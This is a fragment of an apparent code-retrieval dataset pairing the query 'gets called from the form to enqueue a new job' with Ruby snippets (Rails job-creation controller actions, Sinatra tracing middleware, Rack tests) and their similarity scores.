"def run\n\n action Colors.grey(\"REQUEST \") + Colors.light_blue(\"#{options[:method].upcase} #{url}\")\n Console.instance.indent\n # run the request\n options[:ssl_verifypeer] = false\n options[:followlocation] = true\n\n Injector.decorate(options)\n\n # convert all headers keys to strings to avoid having symbols like :\"header\" when\n # declaring headers with colons instead of arrows\n if options.key?(:headers)\n new_opts = {}\n options[:headers].map do |k, v|\n new_opts[k.to_s] = v\n end\n options[:headers] = new_opts\n end\n\n if options.key?(:headers) and options[:headers].key?('Content-Type')\n ctype = options[:headers]['Content-Type']\n if ctype.include?('application/json')\n # automatically encode json content\n options[:body] = JSON.generate(options[:body], quirks_mode: true)\n end\n end\n\n\n\n self.response = Typhoeus::Request.new(url, options).run\n\n self.req_response = RequestResponse.new.tap { |r|\n r.raw_body = response.body\n r.headers = response.headers\n r.code = response.code\n r.total_time = response.total_time\n\n if !r.headers.nil? && r.headers.key?('Content-Type') && r.headers['Content-Type'].include?('application/json')\n r.body = JSON.parse(response.body)\n else\n r.body = response.body\n end\n }\n\n # reset assertion counter\n self.assert_no = 1\n\n # evaluate response against expectations\n begin\n instance_eval(&expectations)\n rescue AssertionException\n error error_msg + \" at #{expectations.source_location}\"\n raise RequestException\n rescue StandardError => e\n error 'Exception ' + e.message\n info e.backtrace.inspect\n _debug_info\n error error_msg\n raise RequestException\n ensure\n Console.instance.unindent\n end\n\n req_response\n\n end",
"def call(env)\n # Set the trace context (e.g. distributed tracing)\n if configuration[:distributed_tracing] && Tracing.active_trace.nil?\n original_trace = Tracing::Propagation::HTTP.extract(env)\n Tracing.continue_trace!(original_trace)\n end\n\n return @app.call(env) if Sinatra::Env.datadog_span(env)\n\n Tracing.trace(\n Ext::SPAN_REQUEST,\n service: configuration[:service_name],\n span_type: Tracing::Metadata::Ext::HTTP::TYPE_INBOUND\n ) do |span|\n begin\n # this is kept nil until we set a correct one (either in the route or with a fallback in the ensure below)\n # the nil signals that there's no good one yet and is also seen by profiler, when sampling the resource\n span.resource = nil\n\n Sinatra::Env.set_datadog_span(env, span)\n\n response = @app.call(env)\n ensure\n Contrib::Rack::HeaderTagging.tag_request_headers(span, env, configuration)\n\n span.set_tag(Tracing::Metadata::Ext::TAG_COMPONENT, Ext::TAG_COMPONENT)\n span.set_tag(Tracing::Metadata::Ext::TAG_OPERATION, Ext::TAG_OPERATION_REQUEST)\n\n request = ::Sinatra::Request.new(env)\n\n span.set_tag(Tracing::Metadata::Ext::HTTP::TAG_URL, request.path)\n span.set_tag(Tracing::Metadata::Ext::HTTP::TAG_METHOD, request.request_method)\n\n datadog_route = Sinatra::Env.route_path(env)\n\n span.set_tag(Ext::TAG_ROUTE_PATH, datadog_route) if datadog_route\n\n if request.script_name && !request.script_name.empty?\n span.set_tag(Ext::TAG_SCRIPT_NAME, request.script_name)\n end\n\n # If this app handled the request, then Contrib::Sinatra::Tracer OR Contrib::Sinatra::Base set the\n # resource; if no resource was set, let's use a fallback\n span.resource = env['REQUEST_METHOD'] if span.resource.nil?\n\n rack_request_span = env[Contrib::Rack::Ext::RACK_ENV_REQUEST_SPAN]\n\n # This propagates the Sinatra resource to the Rack span,\n # since the latter is unaware of what the resource might be\n # and would fallback to a generic resource name when unset\n rack_request_span.resource ||= span.resource if rack_request_span\n\n if response\n if (status = response[0])\n sinatra_response = ::Sinatra::Response.new([], status) # Build object to use status code helpers\n\n span.set_tag(Tracing::Metadata::Ext::HTTP::TAG_STATUS_CODE, sinatra_response.status)\n span.set_error(env['sinatra.error']) if sinatra_response.server_error?\n end\n\n if (headers = response[1])\n Contrib::Rack::HeaderTagging.tag_response_headers(span, headers, configuration)\n end\n end\n\n # Set analytics sample rate\n Contrib::Analytics.set_sample_rate(span, analytics_sample_rate) if analytics_enabled?\n\n # Measure service stats\n Contrib::Analytics.set_measured(span)\n end\n end\n end",
"def route! env\n http_route = \"#{env[REQ_METHOD]} #{env[PATH_INFO]}\"\n return true if env[GIN_ROUTE] == http_route\n\n env[GIN_TARGET], env[GIN_PATH_PARAMS] =\n router.resources_for env[REQ_METHOD], env[PATH_INFO]\n\n env[GIN_ROUTE] = http_route\n\n !!env[GIN_TARGET]\n end",
"def run(req, res)\n end",
"def initialize_request_and_response(env)\n @request = Rack::Request.new env\n @response = Rack::Response.new\n end",
"def test_index\n get '/'\n assert last_response.ok?\n end",
"def test_root\n\t\tget \"/\"\n\t\tassert_equal 200, last_response.status\n \tassert last_response.ok?\n\tend",
"def request\n double(ActionDispatch::Request, { path: \"/\" })\n end",
"def test_logged_in_user_access_to_userland_approved\n # first log in\n post '/login', { :username => GOOD_USERNAME, :password => GOOD_PASSWORD }\n\n # then specifically request the index page in userland\n get '/in/index'\n assert last_response.ok?\n assert last_response.body.include?('You are logged in as') \n assert last_response.body.include?(GOOD_USERNAME) \n end",
"def test_on_async_requests\n controller = new_controller\n fake_request controller, '/path1', '/referrer', xhr?: true\n assert_equal nil, controller.session['previous_paths']\n end"
] |
[
"0.72975296",
"0.7008018",
"0.6993671",
"0.6619649",
"0.6544158",
"0.6453145",
"0.64409834",
"0.6398676",
"0.63839465",
"0.62799424",
"0.6253341",
"0.6247639",
"0.6230568",
"0.62281245",
"0.6222703",
"0.6220136",
"0.6187071",
"0.61861247",
"0.617266",
"0.617266",
"0.617266",
"0.617266",
"0.617266",
"0.617266",
"0.617266",
"0.617266",
"0.617266",
"0.617266",
"0.617266",
"0.615688",
"0.61516744",
"0.6129332",
"0.6128023",
"0.609496",
"0.6081785",
"0.60567385",
"0.6050405",
"0.6046105",
"0.604181",
"0.60099536",
"0.60087603",
"0.6002162",
"0.5974366",
"0.59480035",
"0.59432954",
"0.5942093",
"0.59347606",
"0.5930157",
"0.59178996",
"0.5909198",
"0.59069806",
"0.59039026",
"0.59017617",
"0.58924687",
"0.5888822",
"0.58801085",
"0.58801085",
"0.58801085",
"0.5871803",
"0.5866317",
"0.58615327",
"0.5861224",
"0.5859408",
"0.5855936",
"0.5847589",
"0.58464634",
"0.5837219",
"0.58115065",
"0.5806042",
"0.57967645",
"0.57956916",
"0.57951796",
"0.5793135",
"0.5787297",
"0.5786615",
"0.5784876",
"0.57814425",
"0.5775723",
"0.5773202",
"0.5772311",
"0.5765935",
"0.5762201",
"0.57505107",
"0.5750123",
"0.5747161",
"0.57453436",
"0.5721782",
"0.57035536",
"0.56979805",
"0.56960726",
"0.56524503",
"0.56507117",
"0.5648805",
"0.5642173",
"0.56406814",
"0.56405145",
"0.5637219",
"0.5635962",
"0.56306165",
"0.56259155"
] |
0.7403231
|
0
|
gets called from the form to enqueue a new job
|
def create
arg = params[:email]
counter = Job.enqueue(arg)
render :status => :accepted, :json => { jobId: counter }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def queue_job; end",
"def enqueue\n # We need to save before passing to perform_later b/c perform_later will need our ID.\n # For this reason, the job_id col can't have a null constraint.\n save! unless persisted?\n job = job_class.constantize.perform_later(self, **job_params)\n update!(job_id: job.job_id, provider_job_id: job.provider_job_id)\n end",
"def enqueue_job\n BgJob.enqueue(\n NewUserRegisterJob,\n {\n client_id: @client_id,\n user_id: @user.id,\n geoip_country: nil,\n event: {\n client_id: @user.client_id,\n event_source: GlobalConstant::Event.api_source,\n event_name: GlobalConstant::Event.user_register_name,\n event_data: {\n user: @user.get_hash\n },\n event_timestamp: Time.now.to_i\n }\n }\n )\n end",
"def enqueue(job_id)\n create_job_record(job_id)\n BEANSTALK_QUEUE.yput(:job_id => job_id)\n @last_queried[job_id] = Time.now\n end",
"def enqueue!\n return nil unless persisted?\n \"#{job_type.camelize}Job\".constantize.perform_later(self)\n end",
"def new\n job_name = params[:id]\n\n if @valid_jobs.include? job_name \n if queue_job(job_name)\n flash[:notice] = \"Created job: #{job_name}\"\n else\n flash[:alert] = \"Job #{job_name} is already running.\"\n end\n else\n flash[:alert] = \"Invalid job type.\"\n end\n \n #@counter = Delayed::Job.enqueue Paranoid.new\n redirect_to jobs_path\n end",
"def enqueue_job\n BgJob.enqueue(\n SendDoubleOptIn,\n {\n client_id: @client_id,\n user_id: @user.id\n }\n ) if @client.is_verify_page_active_for_client?\n\n BgJob.enqueue(\n NewUserRegisterJob,\n {\n client_id: @client_id,\n user_id: @user.id,\n browser_user_agent: @browser_user_agent,\n geoip_country: @geoip_country,\n event: {\n client_id: @user.client_id,\n event_source: GlobalConstant::Event.web_source,\n event_name: GlobalConstant::Event.user_register_name,\n event_data: {\n user: @user.get_hash\n },\n event_timestamp: Time.now.to_i\n }\n }\n )\n end",
"def create\n @job = Job.new(params[:job].reject{|key, value| key == 'jobs_queue_id'})\n @job.user = current_user\n\n respond_to do |format|\n if @job.save\n if @job.r_script.tags.collect{|tag| tag.name}.include?('install script')\n @job.pending \n elsif queue = JobsQueue.find_by_id(params[:job][:jobs_queue_id].to_i) \n @job.submit(queue) \n end\n create_log_entry(@job.r_script, @job, 'use')\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(jobs_url) }\n format.xml { render :xml => @job.to_xml(:include => { :job_parameters => { :include => :data_set } }), :status => :created, :location => @job }\n else\n @job.jobs_queue_id = params[:job][:jobs_queue_id]\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = @user.jobs.new(params[:job])\n\n respond_to do |format|\n if @job.save\n\t\t# send mail now or later...\n\t\tBackground.instance.delay.sendLater(@job)\n\t \n format.html { redirect_to(@job, :notice => 'Job was successfully created.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def do_submit\n @job = Job.find(params[:id])\n @queue = JobsQueue.find_by_id(params[:job][:jobs_queue_id]) || JobsQueue.default_queue\n respond_to do |format|\n if @job.submit(@queue)\n flash[:notice] = 'Job was successfully submitted.'\n format.html { redirect_to(@job) }\n format.xml { head :ok }\n else\n format.html { render :action => \"show\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def enqueue(job)\n enqueue_at(job, nil)\n end",
"def enqueue_job\n\n BgJob.enqueue(\n PlanEconomyJob,\n {\n client_token_id: @client_token_id,\n is_first_time_set: @is_first_time_set\n }\n )\n\n end",
"def add_to_queue\n @list = current_user.list\n if @list.add_job(params[:id])\n respond_to do |format|\n format.json { render :json => @list.jobs }\n end\n else\n flash[:errors] = \"Sorry, something went wrong\"\n redirect_to :back\n end\n end",
"def submit(job)\n if @queue.length >= QUEUE_SIZE\n job[:callback].call(:error, 'System busy; ask again later.')\n return\n end\n\n @queue.push(job)\n end",
"def enqueue(active_job)\n enqueue_at(active_job, nil)\n end",
"def new_job\n j = self.class.new\n j.save\n end",
"def enqueue(*args)\n enqueue_job(new_job(*args))\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n JobsWorker.perform_async(@job.id, @job.server.id)\n flash[:success] = 'Job was successfully created.'\n format.html { redirect_to jobs_path }\n format.json { render :show, status: :created, location: @job }\n else\n flash[:error] = 'Please fill all fields correctly !!'\n format.html { redirect_to root_url }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def enqueue(job)\n sqs.send_message(\n queue_url: get_queue_url(job),\n message_body: MultiJson.dump(job.serialize)\n )\n end",
"def create\n @enqueue = Enqueue.new(enqueue_params)\n\n respond_to do |format|\n if @enqueue.save\n format.html { redirect_to @enqueue, notice: 'Enqueue was successfully created.' }\n format.json { render :show, status: :created, location: @enqueue }\n else\n format.html { render :new }\n format.json { render json: @enqueue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def enqueue_job\n BgJob.enqueue(\n WebhookJob::RecordEvent,\n {\n client_id: @user_kyc_detail.client_id,\n event_source: GlobalConstant::Event.web_source,\n event_name: GlobalConstant::Event.update_ethereum_address_name,\n event_data: {\n user_kyc_detail: @user_kyc_detail.get_hash,\n admin: @admin.get_hash\n },\n event_timestamp: Time.now.to_i\n }\n )\n\n end",
"def enqueue(job)\n @jobs ||= {}\n @jobs[job.key] = {}\n\n self.save\n end",
"def new\n @job = Job.new\n if current_user and default_queue = current_user.preferences.find_by_kind('default_queue') then @job.jobs_queue_id = default_queue.value end\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def enqueue_job!(job, wait_until)\n job.run_callbacks :enqueue do\n job.enqueue!\n job.save! do\n Burstflow::Worker.set(wait_until: wait_until).perform_later(workflow.id, job.id)\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n @job.creator = current_user\n @job.tasks.each do |task|\n if @job.job_type.present?\n task.type = \"#{@job.job_type.to_s.singularize.capitalize}Task\"\n end\n task.creator = current_user\n task.worker ||= current_user\n task.payoff_amount_cents ||= 0\n end\n respond_to do |format|\n if @job.save\n @job.tasks.each{ |task| task.set_price }\n format.html {\n if params[:commit].to_s.match(/save.*new/i)\n redirect_to new_job_path(client_id: @job.client_id, job_type: @job.job_type), notice: 'Job was successfully created. Create another one below...' \n else\n redirect_to @job, notice: 'Job was successfully created.'\n end\n }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @jobs_queue = JobsQueue.new(params[:jobs_queue])\n\n respond_to do |format|\n if @jobs_queue.save\n @jobs_queue.set_visibility(current_user, params)\n @jobs_queue.save_aws_key(current_user, params[:aws_credentials]) if params[:jobs_queue][:is_autoscalable] and (params[:jobs_queue][:is_autoscalable] != '0') and params[:jobs_queue][:aws_key_id] and (params[:jobs_queue][:aws_key_id] == '0')\n @jobs_queue.start_processing_nodes(current_user) if @jobs_queue.is_autoscalable and (@jobs_queue.min_processing_nodes.to_i > 0)\n flash[:notice] = 'JobsQueue was successfully created.'\n format.html { redirect_to(jobs_queues_path) }\n format.xml { render :xml => @jobs_queue, :status => :created, :location => @jobs_queue }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @jobs_queue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n job_id = ProductScraperJob.perform_async current_user.id, params[:url]\n respond_to do |format|\n format.html { redirect_to root_path, notice: \"Successfully queued..\" }\n format.json { render json: { id: job_id }.to_json }\n end\n end",
"def create\n job = Job.new\n job.job_name = params[:job_name]\n job.description = params[:description]\n job.quote = params[:quote].to_f\n job.running_total = 0\n \n if job.save\n jobConnect = JobToUser.new\n jobConnect.job_id = job.id\n jobConnect.user_id = current_user.id\n jobConnect.save\n redirect_to(\"/services/show\", :notice => 'Job was successfully created.')\n else\n redirect_to(\"/services/show\", :notice => 'Job Failed to Save. Try Again Later.')\n end\n end",
"def create\n @job = Job.new(job_params)\n @job.user = current_user\n if @job.save\n render json: { redirect_url: job_url(@job), notice: \"Thanks for posting! Your job is now pending review.\" }\n else\n render json: @job.errors\n end\n end",
"def enqueue_job\n BackgroundJob.enqueue(\n InviteJob,\n {\n manager_id: @invitee_manager[:id],\n invite_token: @invite_token\n }\n )\n\n success\n end",
"def create\n @pending_job = PendingJob.new(pending_job_params)\n current_stage = 'E'\n @pending_job.time_queued = Time.now\n @pending_job.current_stage = current_stage\n @pending_job.current_stage_started = Time.now\n\n respond_to do |format|\n if @pending_job.save\n EFinishJob.perform_in(1.minutes, @pending_job.id, @pending_job.course, @pending_job.assignment, @pending_job.username)\n format.html { redirect_to @pending_job, notice: 'Pending job was successfully created.' }\n format.json { render :show, status: :created, location: @pending_job }\n else\n format.html { render :new }\n format.json { render json: @pending_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = current_user.jobs.build(params[:job])\n if @job.save\n flash[:success] = \"Job Added!\"\n redirect_to root_url\n else\n render 'new'\n end\n\n end",
"def load_job_submit\n location = Location.find_by_location_barcode(self.pdt_screen_def.get_input_control_value(\"location\"))\n self.set_temp_record(:location, location)\n if !location\n result_screen = PDTTransaction.build_msg_screen_definition(\"location does not exist\",nil,nil,nil)\n return result_screen\n end\n\n if !location.current_job_reference_id\n result_screen = PDTTransaction.build_msg_screen_definition(\"job not created , create new job\",nil,nil,nil)\n return result_screen\n end\n job = Job.find_by_id(location.current_job_reference_id)\n \n if !job\n result_screen = PDTTransaction.build_msg_screen_definition(\"job not created , create new job\",nil,nil,nil)\n return result_screen\n end\n\n if job.job_type_code.upcase != \"RECOOLING\"\n result_screen = PDTTransaction.build_msg_screen_definition(\"this is not a recooling job\",nil,nil,nil)\n return result_screen\n end\n\n if job.current_job_status.upcase != \"JOB_CREATED\"\n result_screen = PDTTransaction.build_msg_screen_definition(\"job[\" + job.job_number + \"] status must be 'created'\",nil,nil,nil)\n return result_screen\n end\n\n pallet_probes = PalletProbe.find_all_by_job_id(job.id)\n if (pallet_probes.length() == 0)\n error = [\"NO PROBES ALLOCATED\"]\n result_screen = PDTTransaction.build_msg_screen_definition(nil, nil, nil, error)\n return result_screen\n end\n\n ActiveRecord::Base.transaction do\n job.update_attribute(:current_job_status, \"JOB_LOADED\")\n\n self.set_transaction_complete_flag\n end\n\n self.set_transaction_complete_flag\n result_screen = PDTTransaction.build_msg_screen_definition(\"job loaded succesfully\",nil,nil,nil)\n return result_screen\n end",
"def create\n @job = current_member.jobs.new(job_params)\n @job.published_at = DateTime.now\n\n\n respond_to do |format|\n if @job.save\n\n format.html { redirect_to @job, notice: 'The stuff you want done was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def request(job)\n if @queue.size > @queue_max_size\n # server is busy\n update_status(job.id, name: \"BUSY\")\n else\n # cancel if there exists the session's old request already\n cancel(job) if active?(job.id)\n\n # register the request\n @jobs.add(job.id)\n @queue.push(job)\n\n # send an \"ACCEPTED\" message\n update_status(job.id, name: \"ACCEPTED\")\n end\n end",
"def queue\n pending_duplicate_job || Delayed::Job.enqueue(self)\n end",
"def create\n @myjob = Myjob.new(myjob_params)\n\n respond_to do |format|\n if @myjob.save\n format.html { redirect_to @myjob, notice: 'Myjob was successfully created.' }\n format.json { render :show, status: :created, location: @myjob }\n else\n format.html { render :new }\n format.json { render json: @myjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = current_user.jobs.new(job_params)\n respond_to do |format|\n if @job.save\n \ttrack_activity @job\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = params[:construction_job]\n \n @construction_job = nil\n queue = nil\n \n Construction::Job.transaction do\n @construction_job = Construction::Job.new(@job)\n queue = @construction_job.queue\n queue.lock!\n raise ForbiddenError.new('not owner of settlement') unless @construction_job.slot.settlement.owner == current_character\n raise ForbiddenError.new('wrong requirements') unless @construction_job.queueable?\n @construction_job.position = queue.max_position + 1\n @construction_job.save\n end\n \n queue.reload\n queue.check_for_new_jobs\n \n slot = @construction_job.slot\n slot.job_created(@construction_job)\n \n respond_to do |format|\n if @construction_job.save\n format.html { redirect_to @construction_job, notice: 'Job was successfully created.' }\n format.json { render json: @construction_job, status: :created, location: @construction_job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @construction_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def clone\n @job = Job.find(params[:id]).cloned_job\n if current_user and default_queue = current_user.preferences.find_by_kind('default_queue') then @job.jobs_queue_id = default_queue.value end\n \n respond_to do |format|\n if @job.valid?\n # flash[:notice] = 'Job was successfully cloned.'\n format.html { render :action => \"new\" }\n format.xml { \n if @job.save!\n @job.submit() \n head :ok\n else\n render :xml => @job.errors, :status => :unprocessable_entity\n end \n }\n else\n format.html { render :action => \"show\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def enqueue_job(job, event)\n delayed_job = job.queue\n\n logger.info \"Queued #{event.event_description} as job #{delayed_job.id}\"\n\n {\n 'status' => 'ok',\n 'job_id' => delayed_job.id,\n 'queue' => delayed_job.queue,\n 'priority' => delayed_job.priority,\n 'created_at' => delayed_job.created_at,\n }\n end",
"def create\n @job = current_user.posted_jobs.build(job_params)\n if @job.save\n render json: @job\n else\n render json: @job.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def new_job(job, username, password)\n puts \"Requesting quote for job:\"\n puts JSON.pretty_generate(job)\n puts \"\"\n res = post_json('jobs.json', job, username, password)\n if res['error'] || res['status'] == 'error'\n puts \"Job rejected (error #{res['status']}): #{res['error'] || res['reason']}\"\n return\n end\n\n puts \"Gnip's job desc:\"\n puts summarise_job(res)\nend",
"def submit_job\n input_deck = generate_input_deck\n # results_script = generate_results_script\n\n if !input_deck.nil? #&& !results_script.nil?\n submit_script = generate_submit_script(input_deck: input_deck)\n # submit_script = generate_submit_script(input_deck: input_deck,\n # results_script: results_script)\n\n if !submit_script.nil?\n Dir.chdir(jobdir) {\n cmd = \"qsub #{prefix}.sh\"\n self.pid = `#{cmd}`\n }\n end\n end\n\n # If successful, set the status to \"Submitted\" and save to database.\n unless pid.nil? || pid.empty?\n self.pid = pid.strip\n # self.submitted_at = Time.new.ctime\n set_status! :b\n else\n self.pid = nil\n # self.submitted_at = '---'\n set_status! :f\n end\n end",
"def create\n #@job = Job.new(params[:job])\n @job = current_user.jobs.new(params[:job])\n \n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n \n respond_to do |format|\n if @job.save\n format.html { redirect_to '/admin/'+@job.company.id.to_s , notice: \"Job was successfully created.\" }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = current_company.jobs.build(params[:job])\n respond_to do |format|\n if @job.save\n format.html { redirect_to root_path, notice: 'Vaga criada com sucesso' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submit_job\n unless inputfile_identifier.nil?\n set_version if version.nil?\n submit_script = generate_submit_script(input_deck: inputfile_identifier)\n\n if !submit_script.nil?\n Dir.chdir(jobdir) {\n cmd = \"qsub #{prefix}.sh\"\n self.pid = `#{cmd}`\n }\n end\n end\n\n # If successful, set the status to \"Submitted\" and save to database.\n unless pid.nil? || pid.empty?\n self.pid = pid.strip\n self.submitted_at = Time.new.ctime\n set_status! :b\n else\n self.pid = nil\n self.submitted_at = '---'\n set_status! :f\n end\n end",
"def submit_job\n unless inputfile_identifier.nil?\n set_version if version.nil?\n submit_script = generate_submit_script(input_deck: inputfile_identifier)\n\n if !submit_script.nil?\n Dir.chdir(jobdir) {\n cmd = \"qsub #{prefix}.sh\"\n self.pid = `#{cmd}`\n }\n end\n end\n\n # If successful, set the status to \"Submitted\" and save to database.\n unless pid.nil? || pid.empty?\n self.pid = pid.strip\n self.submitted_at = Time.new.ctime\n set_status! :b\n else\n self.pid = nil\n self.submitted_at = '---'\n set_status! :f\n end\n end",
"def create\n @new_job = Job.new(job_params)\n @new_job.user_id = current_user.id\n authorize @new_job\n if @new_job.save\n redirect_to jobs_path\n # Otherwise render the new form again\n else\n render action: \"new\"\n end\n end",
"def create\n @job = current_user.jobs.new( job_params )\n\n if @job.save\n redirect_to @job, notice: 'Job created.'\n else\n render :new\n end\n end",
"def create\n p @bundlesticker = Bundlesticker.new(params[:bundlesticker])\n\n if @bundlesticker.valid?\n @bundlesticker.save\n job = JobBundle.new(current_user.printer.ident, @bundlesticker)\n Delayed::Job.enqueue job\n flash[:notice] = \"#{params[:bundlesticker][:unique_number]} wird gedruckt\"\n else\n flash[:error] = \"Angaben checken\"\n end\n redirect_to :action => :new\n end",
"def create\n @job = Job.new(job_params)\n if @job.save\n flash[:success] = 'Job was successfully created.'\n redirect_to @job \n else\n render :new\n end\n end",
"def new\n @job = Job.new\n end",
"def create\n @act_job = ActJob.new(act_job_params)\n\n respond_to do |format|\n if @act_job.save\n format.html { redirect_to @act_job, notice: 'Act job was successfully created.' }\n format.json { render :show, status: :created, location: @act_job }\n else\n format.html { render :new }\n format.json { render json: @act_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n @job.status = 'listed'\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def enqueue(override = false)\n if self.job_id.nil? && !(self.last_fetch_at.present? && (Time.now - self.last_fetch_at) < UPDATE_TIME) && !override\n Delayed::Job.enqueue(ArtistWorker.new(self.id), 0, Time.now)\n self.job_id = Delayed::Job.last.id\n save\n end \n end",
"def create\n @allis_button = AllisButton.new(allis_button_params)\n\n respond_to do |format|\n if @allis_button.save\n format.html { redirect_to @allis_button, notice: 'Allis button was successfully created.' }\n format.json { render :show, status: :created, location: @allis_button }\n #\n @user = User.find_by(id: @allis_button.user_id)\n name = self.getTaskName(@user.id, @allis_button.id)\n \n #config = {}\n #config[:queue] = 'AllisButtonCreated'\n #config[:class] = 'SendEmailJob'\n #config[:args] = @user.email\n #config[:every] = ['2m', {first_in: 10.seconds}]\n #config[:persist] = true\n #config[:verify_ssl] = false\n \n #Resque.set_schedule(name, config)\n #\n logger.info \"I am trying to send an email trough a queue to:\" + @user.email\n Resque.enqueue_in_with_queue('AllisButtonCreated',0.seconds, SendEmailJob, @user.email)\n else\n format.html { render :new }\n format.json { render json: @allis_button.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n ensure_authenticated!\n\n job = Grid5000::Job.new(job_params)\n Rails.logger.info \"Received job = #{job.inspect}\"\n raise BadRequest, \"The job you are trying to submit is not valid: #{job.errors.join('; ')}\" unless job.valid?\n\n job_to_send = job.to_hash(destination: 'oar-2.4-submission')\n Rails.logger.info \"Submitting #{job_to_send.inspect}\"\n\n result = @oarapi.create_job(job_to_send)\n\n job_uid = JSON.parse(result)['id']\n location_uri = uri_to(\n resource_path(job_uid),\n :in, :absolute\n )\n\n job = OAR::Job.expanded.includes(:job_types, :job_events, :gantt).find(job_uid)\n job.links = links_for_item(job)\n\n render_opts = {\n methods: %i[resources_by_type assigned_nodes],\n location: location_uri,\n status: 201\n }\n render_result(job, render_opts)\n end",
"def enqueue(job)\n build_worker(job).schedule\n end",
"def create_from_wizard\n queue_id = params['job'].delete('jobs_queue_id')\n @job = Job.new(params[:job])\n @job.user = current_user\n @job.r_script_id = session[:r_script_id] if session[:r_script_id] and r_script = RScript.find_by_id(session[:r_script_id]) and (RScript.public_r_scripts.include?(r_script) or current_user.r_scripts.include?(r_script))\n\n respond_to do |format|\n if @job.save\n JobParameter.save_job_data_set_parameters(current_user, @job.id, session[:r_script_id], session[:data_set_parameters])\n if @job.r_script.tags.collect{|tag| tag.name}.include?('install script')\n @job.pending \n elsif queue = JobsQueue.find_by_id(queue_id.to_i) \n @job.submit(queue) \n end\n create_log_entry(@job.r_script, @job, 'use')\n flash[:notice] = 'Job was successfully created.'\n session[:r_script_id] = nil\n session[:data_set_parameters] = nil\n format.html { redirect_to(jobs_url) }\n format.xml { render :xml => @job.to_xml(:include => { :job_parameters => { :include => :data_set } }), :status => :created, :location => @job }\n else\n format.html { render :action => \"set_information\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def enqueue_self\n\n BgJob.enqueue(\n ::RegisterBrandedToken::GetAirdropDeployStatusJob,\n {\n parent_id: @parent_id\n },\n {\n wait: 10.seconds\n }\n )\n\n end",
"def create\n @job = Vger::Resources::Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to company_job(:company_id => params[:company_id], :id => @job.id), notice: 'Job was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"def create\n @worker_job = WorkerJob.new(worker_job_params)\n\n respond_to do |format|\n if @worker_job.save\n format.html { redirect_to @worker_job, notice: 'Worker job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @worker_job }\n else\n format.html { render action: 'new' }\n format.json { render json: @worker_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if current_user.saved_jobs.where(job_id: params[:saved_job][:job_id]).count > 0\n respond_to do |format|\n format.html { redirect_to worker_all_jobs_path, notice: t('saved_jobs_controller.saved_jobs_create_error') }\n end\n else\n @saved_job = current_user.saved_jobs.new(saved_job_params)\n\n respond_to do |format|\n if @saved_job.save\n format.html { redirect_to worker_all_jobs_path, notice: t('saved_jobs_controller.saved_jobs_create_success') }\n format.json { render :show, status: :created, location: @saved_job }\n\n else\n format.html { render :new }\n format.json { render json: @saved_job.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def new\n @job = current_user.jobs.new\n end",
"def create\n @wait_queue = wait_queues.new(wait_queue_params)\n\n respond_to do |format|\n if @wait_queue.save\n format.html { redirect_to @wait_queue, notice: \"Wait queue was successfully created.\" }\n format.json { render :show, status: :created, location: @wait_queue }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @wait_queue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = @user.jobs.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to :dashboard, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
